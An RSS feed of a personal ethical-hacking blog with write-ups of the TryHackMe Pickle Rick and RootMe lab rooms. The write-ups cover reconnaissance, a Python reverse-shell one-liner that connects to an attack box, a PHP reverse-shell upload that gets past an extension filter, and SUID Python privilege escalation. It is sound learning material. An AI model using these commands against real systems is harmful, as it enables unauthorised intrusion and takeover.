<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Dustin's Ethical Hacking Progress Blog]]></title><description><![CDATA[A place where I document how I'm able to get through TryHackMe boxes, as well as anything else I find interesting within the Umbrella of ethical hacking.]]></description><link>https://blog.dustinsmith.ca</link><generator>RSS for Node</generator><lastBuildDate>Wed, 27 May 2026 06:14:50 GMT</lastBuildDate><atom:link href="https://blog.dustinsmith.ca/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Try Hack Me  | Pickle rick Day #2]]></title><description><![CDATA[Today's Date is April 19th, 2022.
I'm back at the PickleRick CTF Room in TryHackMe today. After a good day in the office, with a few hints from a friend, I'm back on track with a few potential leads.
As it turns out, the directory scanning tools I wa...]]></description><link>https://blog.dustinsmith.ca/try-hack-me-or-pickle-rick-day-2</link><guid isPermaLink="true">https://blog.dustinsmith.ca/try-hack-me-or-pickle-rick-day-2</guid><dc:creator><![CDATA[Dustin Smith]]></dc:creator><pubDate>Wed, 20 Apr 2022 03:17:58 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1650424659200/k60Jyt5hv.PNG" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Today's Date is April 19th, 2022.</p>
<p>I'm back at the PickleRick CTF Room in TryHackMe today. After a good day in the office, with a few hints from a friend, I'm back on track with a few potential leads.</p>
<p>As it turns out, the directory scanning tools I was using yesterday have some additional features I was unaware of; These features include an option for a second loop including any potential file extensions you may want to look for. In this case that means I was ONLY searching for directories yesterday, but not any files within said directories, or otherwise. Turns out searching for files inside directories is pretty important went it somes to reconaissance.</p>
<p>When using Gobuster there is an additional flag I could have been using, the -x (file extensions) flag. it can be used such as:</p>
<p>gobuster dir -u url.to.website -w path/to/wordlist -x ext,ext2,ext3,ext4 -t (threadcount)</p>
<p>this will check each word in the wordlist, such as 'portal' on it's own, as well as with each extension you specify. 
this means that a directory such as "portal" now gets the following checks:
url/portal
url/portal.ext
url/portal.ext2
url/portal.ext3
url/portal.ext4 </p>
<p>This was a missing piece in yesterday's puzzle.</p>
<p>After running this command: </p>
<p>gobuster dir -u PickleRickIP.p.thmlabs.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x jpg,jpeg,php,gif -t 10</p>
<p>we find a few sites...</p>
<p>portal.php
login.php</p>
<p>Here we see a username and a login page. 
Before we try anything fancy, let's just try the username R1ckRul3s, with the password found in Robots.txt, Wubbalubbadubdub</p>
<p>looks like we got lucky. This gets us in, and we're able to see a myriad of options, most of which seem to be locked behind an admin level permissions of sorts.. the 'real' rick. fortunately we have an input panel... not sure what it does, but let's try stuff!</p>
<p>Back when I did the <a target="_blank" href="https://tryhackme.com/room/owasptop10">OWASP top 10</a> training room on TryHackMe, I learned about some XSS attacks. I am curious to know if anything like that works here...</p>
<p>tried to create a basic popup alert: , but to no avail.</p>
<p>Seems like no? But I haven't exhausted all options. I did this, but this is prone to not work, generally it needs to be masked as an onerror action to loading an image to not get blocked by basic WAFs.</p>
<p>anyways, I was inspecting the webpage, I was able to find a weird comment that looked like a base64 string, I could tell from the double == padding at the end, and characters that seemed like they were all in the 64 character set which is required of base64. (2^6 unique characters). 
Something strange happened though, when I tried to punch it into an online base64 decoder... it told me 'malformed input'! Took me a second to figure out what was going on, but I am nothing if not stubborn. I was sure I recognized something fishy going on, so I was persistent, and punched it into a program I built some time ago that would lets call it... 'naively' follow an algorithm to convert any modulo of 6 bits (base64 character set) to their 8 bit (256 bit (ascii) character set) equivilent... and when it was done, it still looked like base64. WHAT?</p>
<p>so I did it again...
and again...
and again...
again!?
again...</p>
<p> Eventually baking my way all the way down this list... 
 Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==</p>
<p> to this: VmpGU1NtVkdTWGxTYkdScFUwWktjRlZyVmt0VE1WWnhVMjA1VG1KSGVIbFhhMXBoVlZaV1ZVMUVhejA= 
 to this: VjFSSmVGSXlSbGRpU0ZKcFVrVktTMVZxU205TmJHeHlXa1phVVZWVU1Eaz0 
 to this: V1RJeFIyRldiSFJpUkVKS1VqSm9NbGxyWkZaUVVUMDk=
 to this: WTIxR2FWbHRiREJKUjJoMllrZFZQUT09
 to this: Y21GaVltbDBJR2h2YkdVPQ==
 to this: cmFiYml0IGhvbGU=
 to this: rabbit hole </p>
<p> and that's exactly what it felt like I was doing... going way down a rabbit hole, just hoping to get lucky. Now I'm here and not sure what to do with the information other than to execute it as a command...
 nothing.</p>
<p> well, I SUPPOSE something I could try would be just to input an actual ubuntu command, since I know this box is running ubuntu (I discovered this, yesterday.)</p>
<p> 'ls'
 ... I found a clue! (clue.txt), and (Sup3rS3cretPickl3Ingred.txt) perhaps this is the first ingredient. I'll cat this file to read it's contents from the command panel, next. hopefully other commands work just the same...</p>
<p> in fact, after I try this, perhaps I'll try launching a reverse shell just so I can work a little bit easier as this website from a netcat listener... anyways.</p>
<p> 'cat Sup3rS3cretPickl3Ingred.txt'</p>
<p> fail! This command was disabled to make it more difficult for future rick (which I guess is me?!). so sad.</p>
<p> Maybe I can just open it like I did robots.txt earlier. 
 success! I have discovered the first ingredient.</p>
<p> 'https://PickleRickIP.p.thmlabs.com/Sup3rS3cretPickl3Ingred.txt'
 mr. meeseek hair</p>
<p> I wonder what's in clue.txt...
The clue is to look around the file system for other ingredient!</p>
<p> as it would appear, used the 'pwd' command, I am currently in the /var/www/html directory. time to look around.</p>
<p>I seem to be unable to traverse directories, so I'll have to search from here.
ls /home shows me there are two users, 'rick' and 'ubuntu'.
In rick dir, there is a dir called 'second ingredients'</p>
<p>Alright, so I plugged away as best as I could using the command line baked into this website but honestly it was kind of brutal. I tried using netcat, but this device doesn't seem to have netcat installed. I ended up using a python3 script from revshell.com:</p>
<p>python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKBOX IP",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'</p>
<p>to pop a reverse shell to my netcat listener which I had running on my machine using nc -lvnp 1337</p>
<p>time to upgrade this guy to a more stable shell. I can do this easily with a command I have used in the past..
because I already know www-data (the user I am now) can run python3, I can use this:</p>
<p>python3 -c 'import pty; pty.spawn("/bin/bash")'</p>
<p>to have a stable shell.</p>
<p>now, I can either look around and see what I can find, or i can attempt to escalate permissions. I'd like to do that first.</p>
<p>lets try sudo something just to see if I can....</p>
<p>sudo -l is a great one to try first. it'll show me what all my user can do</p>
<p>well, that worked..  didn't even ask for a password. I can do it all.</p>
<p>can I have root?</p>
<p>sudo bash</p>
<p>I can. :^)</p>
<p>I wonder what I can find now!</p>
<p>I'm not sure where to start, but what I can do it start from the top of the directory tree, and work my way down.. I know that second ingredients is in /home/rick/second ingredients, but I don't know what to do with that yet. I couldn't get to it earlier when I couldn't use 'cat' from the webportal, but maybe I can now.</p>
<p>I accidentallied on the 3rd ingredient. fleeb juice. 
it was just sitting in the home directory of root.</p>
<p>As it turns out, the second ingredient was as simple as 
'cat "/home/rick/second ingredient"'
1 jerry tear
I just couldn't use that command from the web ui.</p>
<p>I think my biggest takeaways from completing this CTF, are that I need to start doing the obvious things first. I probably could've saved an hour of pondering time had I just tried 'ls' in that command box in the first place, instead of thinking 'rick' would've had custom obfuscated commands somehow baked into his web front end. </p>
<p>Further to this, more experience with the tools I am using, as well as with whatever other tools might be out there will come in handy big time. I got lucky a few times (like with the python3 script just sort of working.. why would this server have python3 in the first place?), so some takeaways are definitely to become more comfortable enumerating, or perhaps have a sort of 'plan of attack' where I have a bunch of standard practices lined up either in my head or on paper, for 'things to do when x happens'.</p>
<p>anyways, That's the box!</p>
]]></content:encoded></item><item><title><![CDATA[TryHackMe | PickleRick CTF Day #1]]></title><description><![CDATA[Today's date is Monday, April 18th, 2022.
A link to the box can be found here! 
This CTF is going to be a bit of a challenge for me. there are a bunch of things to learn along the way to complete this CTF, but it was posed to me as a challenge to hav...]]></description><link>https://blog.dustinsmith.ca/tryhackme-or-picklerick-ctf-day-1</link><guid isPermaLink="true">https://blog.dustinsmith.ca/tryhackme-or-picklerick-ctf-day-1</guid><dc:creator><![CDATA[Dustin Smith]]></dc:creator><pubDate>Tue, 19 Apr 2022 04:32:12 GMT</pubDate><content:encoded><![CDATA[<p>Today's date is Monday, April 18th, 2022.</p>
<p>A link to the box can be found <a target="_blank" href="https://tryhackme.com/room/picklerick">here</a>! 
This CTF is going to be a bit of a challenge for me. there are a bunch of things to learn along the way to complete this CTF, but it was posed to me as a challenge to have completed by the end of the week. </p>
<p>The CTF in it's entirety is to find the three ingredients Rick, a mad scientist from the namely Rick and Morty adult cartoon, needs to create a potion that he can take, to undo the effects of a previous experiment gone wrong, wherein he turned himself into a pickle, hence the name, PickleRick.</p>
<p>The only tasks TryHackMe is concerned about is finding the ingredients for the potion. To do this I'll need to some reconnaisance.</p>
<p>Upon opening the website, I am prompted by rick to help him remember his password... I don't even know where to log in using a username or a password let alone where they are... time to open up the dev tools.</p>
<p>Upon inspecting the home page, I'm able to find a username left as a comment in the HTML code. it's 'R1ckRul3s'.</p>
<p>This site is using Bootstrap v3.4.0, and jquery v3.3.1
There are no cookies present at this time that could be manipulated yet.
There are no service workers present at this time.</p>
<p>Give I have nothing else to go on... I think it's time to use some tools.
I'll do an nmap scan of the site using the following command:"nmap -sC -sV (machine ip)"</p>
<p>while this is running, I mightaswell find whatever directories might be available, since that'll take some time, too.</p>
<p>using the following command: "gobuster dir -u https://10-10-193-191.p.thmlabs.com/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50"</p>
<p>while gobuster was running, nmap finished.</p>
<p>looks like port 22 and port 80 are open.
22/tcp ssh using OpenSSH 7.2p2
80/tcp http using Apache httpd 2.4.18
These are running on an ubuntu server.</p>
<p>While gobuster is running, I decided to start poking around at some commonly used directories.. robots.txt has a single line, "Wubbalubbadubdub", which is Rick's catchphrase. lol.
I wonder if that could be his password, too. haha!</p>
<p>Come to think of it, I should try SSH with no username/password. just in case... No dice.
Maybe with the username I found earlier?
still no dice. </p>
<p>I wonder if there are ingredients listed in the actual show that could point me towards some answers.. would that be considered OSINT? Not in the spirit of the trial, at least. I'll maybe give it a watch when I'm done.</p>
<p>gobuster has come back with a few directories so far. 
/assets with a 301 (redirect)
/server-status with a 403 (forbidden)</p>
<p>I decided to check out /assets, but nothing stood out to me as apparently vulnerable. I wonder if the site itself could be. I'll check out this version of apache on exploit-db, next.
Either I don't know how to use exploit-db, or there was nothing I'm able to do yet without being able to upload a file. </p>
<p>I'm going to go back to nmap and try some more exhaustive scans, including a udp scan (-sU), as well as scanning all ports(-p-), rather than the top 1000. I feel like using a random port would be within the realm of possibilities for rick. </p>
<p>(10 mins or so passed here)</p>
<p>well, this is taking forever, I'm going to run a dirbuster scan on top of that gobuster scan... gobuster didn't find robots.txt and that seems strange to me...
(some time passed..) hah! dirbuster found robots.txt. isn't that neato.</p>
<p>that UDP scan came back with some things.
68 - open|filtered - dhcpc
1001 - open|filtered - unknown
36893 open|filtered - unknown
I feel like these are some clues, but I couldn't tell you what they point to at this moment...</p>
<p>dirbuster also found another page, index.html... given this is the default landing page for all apache sites, I probably should have guessed this would show up on the scan regardless.</p>
<p>Tomorrow i get to do some research into how open udp ports might be exploited, because I think that is my next step. </p>
<p>To be continued...</p>
]]></content:encoded></item><item><title><![CDATA[TryHackMe | RootMe]]></title><description><![CDATA[1. Deploy the Machine
Standard, nothing to note here.
2. Reconnaissance
Scan the machine, how many ports are open?
Nmap is  free and open source utility for network discovery and security.
Nmap.org
I'll use it to map our which ports are open on the m...]]></description><link>https://blog.dustinsmith.ca/tryhackme-or-rootme</link><guid isPermaLink="true">https://blog.dustinsmith.ca/tryhackme-or-rootme</guid><dc:creator><![CDATA[Dustin Smith]]></dc:creator><pubDate>Sun, 17 Apr 2022 21:59:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1650260914489/szt0Aoyvg.PNG" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-1-deploy-the-machine">1. Deploy the Machine</h1>
<p>Standard, nothing to note here.</p>
<h1 id="heading-2-reconnaissance">2. Reconnaissance</h1>
<p>Scan the machine, how many ports are open?
Nmap is  free and open source utility for network discovery and security.
<a target="_blank" href="https://nmap.org/">Nmap.org</a>
I'll use it to map our which ports are open on the machine.
The Nmap scan I will run on this machine is:
nmap -sC -sV (machine IP)
-sC flag designates: 'script default', and will check for any scripts running while it checks the ports.
-sV flag designates: Service/Version, and will check for services running on those ports, as well as associated versions.</p>
<h3 id="heading-scan-the-machine-using-nmaphttpsnmaporg">Scan the Machine using <a target="_blank" href="https://nmap.org/">Nmap</a></h3>
<p>using Nmap -sC -sV (machine_IP), I was able to find two open ports, 
22, which is running the service ssh, using OpenSSH version 7.6p1, on an Ubuntu Server.
80, which is running the service http, using apache 2.4.29, on an Ubuntu Server.
More information on how I use Nmap can be found here:
%[network-mapping-or-nmap]</p>
<h3 id="heading-finding-directories-using-gobusterhttpswwwkaliorgtoolsgobuster">Finding Directories using <a target="_blank" href="https://www.kali.org/tools/gobuster/">GoBuster</a></h3>
<p>Once I knew there was an http site running, I had a few options on how to enumerate/find any directories on the site. GoBuster was one, but Dirbuster, and ffuf were other options I could have used.</p>
<p>The command I used was:
"gobuster dir -u http://(machine_ip) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50"</p>
<p>This took some time. Let me break down for you what this command is doing.
'gobuster' designates the application call.
'dir' argument designates 'directory/file enumeration' mode.
'http://(machine_ip)' is the fqdn (fully qualified domain name) of the site.
'-w (file_path)' designates a specific wordlist for GoBuster to use. 
'-t 50' designates the amount of threads or 'open connections' to the http site at one time. the default is 10, but I used 50 because I am impatient and 10 was taking too long. </p>
<h3 id="heading-results-of-gobuster">Results of GoBuster</h3>
<p>Eventually, a few directories were found.
/panel/, /uploads/, /css/, /js/, </p>
<p>Something to take note of, is under /panel/, we are able to arbitrarily upload files, of which we can then view at /uploads/ 
Perhaps we can use this to upload something executeable...</p>
<h1 id="heading-3-getting-a-shell">3. Getting a Shell</h1>
<p>Getting a Reverse Shell can sometimes be completed by opening up a listener on your attacker machine, such as netcat, and then uploading a .php file with a malicious payload, then 'opening' the file on the webpage in question, and having that payload execute, calling home to your attacking machine.</p>
<p>Online I was able to find this site: <a target="_blank" href="https://www.revshells.com/">https://www.revshells.com/</a>, which has many pre-built 'reverse shell' payloads available. Now that I have a reverse shell payload selected, I'll set up my netcat listener.</p>
<p>nc -lvnp 1337
'nc' designates the application call for '<a target="_blank" href="https://www.kali.org/tools/netcat/#:~:text=Packages%20and%20Binaries%3A-,netcat%2Dtraditional,by%20other%20programs%20and%20scripts.">netcat</a>'
'-lvnp 1337', l = listen mode, v = verbose, n = numeric ip address (no dns), p 1337 = which local port to listen on.</p>
<p>I am using the 'PHP PentestMonkey' reverse shell template, and have created a file called 'RevShell.php', with the payload in it. 
then, I made sure this file was executable by using the following command to change permissions on the file.
'sudo chmod +x RevShell.php'
Now, I'll go to (machine_ip)/panel/ to upload my file.</p>
<p>BUT! It looks like the upload of .php files is blocked!
Time to find a way around this...</p>
<h2 id="heading-file-upload-restriction-bypass">File Upload Restriction Bypass</h2>
<p>I could probably write an entire blog on this, but for the purposes of this room in TryHackMe, there are a few specifics you need to know...
Some websites whitelist or blacklist file uploads by extension type. .php extension is blocked in this case, and we need to find a way to upload our payload to execute it from the remote machine. 
For more information, here is an awesome article from exploit-db.com:
<a target="_blank" href="https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf">File Upload Restriction Bypass</a></p>
<p>Anyways, this part will take some trial and error until you find a way to get past the websites blacklisting of your file extensions.
Eventually, I found that 'RevShell.php5' was able to be uploaded successfully, and as long as I remembered to make that file executeable, I was able to run it from the remote machine, simply by opening up that .php site from the web. </p>
<p>With any luck, you should now see a shell open in your netcat terminal, but this isn't a stable shell, and if you're not careful you'll have to re-establish this session.. let's spawn a stable shell using python!</p>
<p>python -c 'import pty;pty.spawn("/bin/bash")' should do the trick.</p>
<p>Now that we have a bash shell open, let's look for that user.txt flag.</p>
<h2 id="heading-finding-files-in-linux">Finding files in linux</h2>
<p>we can use the 'find' tool to find specific files on a linux system.
'find / -type f -name file-to-find.ext' is the format. 
looks like there are a bunch of directories we don't have access to yet, luckily, the file we were looking for happens to be somewhere that we can access!</p>
<p>The first thing you might want to do when you finally access a shell of a machine is celebrate, but there might be some heavy restrictions on the user level permissions you've obtained. check around using some of the following commands:
whoami
sudo -l</p>
<h1 id="heading-4-privilege-escalation">4. Privilege Escalation</h1>
<p>Now that we have a shell, let' escalate our privileges to root.
We're prompted here to find files with SUID permissions. 
SUID permission level means 'Set owner User ID', which essentially means that if an application or script is set with this level of permissions, that when the command is run to launch this application, it's effective user ID becomes that of the owner of the file, instead of the user running it. </p>
<p>We can search for such files using the following command.
find / -user root -perm -4000 -print 2&gt;/dev/null</p>
<p>From here, look through all of the different applications and look for one that you might be able to use to leverage that applications permissions, to execute arbitrary code. 
Python is a popular scripting language, so I bet we can do something with that. 
<a target="_blank" href="https://gtfobins.github.io/">GTFOBins</a> is an awesome resource for priv esc. I'm going to search for python here, and find something I think I can use. (hint: SUID)</p>
<p>The snippet of code I found on GTFOBins to escalate privileges is:
 python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
which worked well.</p>
<p>Now we have root level permissions, running via the shell we opening via python. 
Finally, we're prompted to find the root.txt flag, which we can do the same way we found the user.txt flag earlier!</p>
]]></content:encoded></item><item><title><![CDATA[Network Mapping | Nmap]]></title><description><![CDATA[Placeholder for now. will eventually add notes about how I use Nmap.]]></description><link>https://blog.dustinsmith.ca/network-mapping-or-nmap</link><guid isPermaLink="true">https://blog.dustinsmith.ca/network-mapping-or-nmap</guid><dc:creator><![CDATA[Dustin Smith]]></dc:creator><pubDate>Sun, 17 Apr 2022 21:59:02 GMT</pubDate><content:encoded><![CDATA[<p>Placeholder for now. will eventually add notes about how I use Nmap.</p>
]]></content:encoded></item></channel></rss>